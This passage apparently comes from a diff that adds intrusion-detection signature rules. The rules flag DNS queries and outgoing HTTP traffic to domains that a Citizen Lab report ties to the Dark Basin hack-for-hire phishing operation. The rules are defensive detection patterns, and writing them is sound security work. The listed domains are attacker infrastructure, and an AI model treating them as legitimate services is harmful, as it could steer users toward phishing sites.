01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|smtpserver466|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354172; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: smtpserver466.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"smtpserver466.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])smtpserver466\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354173; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: snaphosterservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|snaphosterservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357231; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: snaphosterservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|snaphosterservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357232; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: snaphosterservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"snaphosterservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])snaphosterservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357233; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: softnetworksolutions.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|softnetworksolutions|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353521; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: softnetworksolutions.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|softnetworksolutions|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353522; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: softnetworksolutions.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"softnetworksolutions.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])softnetworksolutions\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353523; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: softredirect.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|softredirect|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353541; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: softredirect.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|softredirect|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353542; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: softredirect.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"softredirect.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])softredirect\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353543; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: srtnr.co"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|srtnr|02|co|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353591; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: srtnr.co"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|srtnr|02|co|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353592; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: srtnr.co"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"srtnr.co"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])srtnr\.co[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353593; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: srtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|srtnr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353801; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: srtnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|05|srtnr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353802; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: srtnr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"srtnr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])srtnr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353803; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: srvrgruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|srvrgruk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355491; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: srvrgruk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|srvrgruk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355492; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: srvrgruk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"srvrgruk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])srvrgruk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355493; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: standardofficeholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|standardofficeholland|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356461; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: standardofficeholland.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|standardofficeholland|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356462; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: standardofficeholland.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"standardofficeholland.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])standardofficeholland\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356463; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: standardofficeil.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|standardofficeil|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356471; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: standardofficeil.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|standardofficeil|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356472; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: standardofficeil.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"standardofficeil.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])standardofficeil\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356473; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: standardofficeuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|standardofficeuk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356481; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: standardofficeuk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|standardofficeuk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356482; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: standardofficeuk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"standardofficeuk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])standardofficeuk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356483; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: strngbltru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|strngbltru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356231; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: strngbltru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|strngbltru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356232; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: strngbltru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"strngbltru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])strngbltru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356233; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: strongbolthostinghk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|strongbolthostinghk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355451; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: strongbolthostinghk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|strongbolthostinghk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355452; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: strongbolthostinghk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"strongbolthostinghk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])strongbolthostinghk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355453; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: strongwingtechnologies.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|strongwingtechnologies|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355361; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: strongwingtechnologies.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|strongwingtechnologies|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355362; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: strongwingtechnologies.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"strongwingtechnologies.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])strongwingtechnologies\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355363; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: strurl.click"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|strurl|05|click|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354661; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: strurl.click"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|06|strurl|05|click|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354662; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: strurl.click"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"strurl.click"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])strurl\.click[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354663; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: supportserviceeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|supportserviceeu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357081; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: supportserviceeu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|supportserviceeu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357082; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: supportserviceeu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"supportserviceeu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])supportserviceeu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357083; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: tineeurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|tineeurl|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356721; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: tineeurl.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|08|tineeurl|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356722; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: tineeurl.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"tineeurl.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])tineeurl\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356723; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: tinyurlshortner.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|tinyurlshortner|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356981; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: tinyurlshortner.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|tinyurlshortner|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356982; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: tinyurlshortner.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"tinyurlshortner.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])tinyurlshortner\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356983; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: tnyurlservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|tnyurlservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355521; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: tnyurlservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|tnyurlservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355522; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: tnyurlservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"tnyurlservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])tnyurlservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355523; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: trackserviceonline.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|trackserviceonline|03|xyz|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355121; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: trackserviceonline.xyz"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|trackserviceonline|03|xyz|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355122; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: trackserviceonline.xyz"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"trackserviceonline.xyz"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])trackserviceonline\.xyz[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355123; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: transferdomainhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356171; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: transferdomainhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356172; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: transferdomainhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"transferdomainhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])transferdomainhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356173; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: transferdomainlu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainlu|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356181; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: transferdomainlu.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainlu|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356182; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: transferdomainlu.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"transferdomainlu.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])transferdomainlu\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356183; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: transferdomainmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356191; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: transferdomainmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferdomainmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356192; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: transferdomainmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"transferdomainmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])transferdomainmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356193; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: transferserver33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferserver33|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357691; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: transferserver33.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|transferserver33|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357692; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: transferserver33.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"transferserver33.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])transferserver33\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357693; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: tricktravelbooking.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|tricktravelbooking|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355321; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: tricktravelbooking.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|tricktravelbooking|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355322; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: tricktravelbooking.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"tricktravelbooking.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])tricktravelbooking\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355323; rev:1; priority:1; 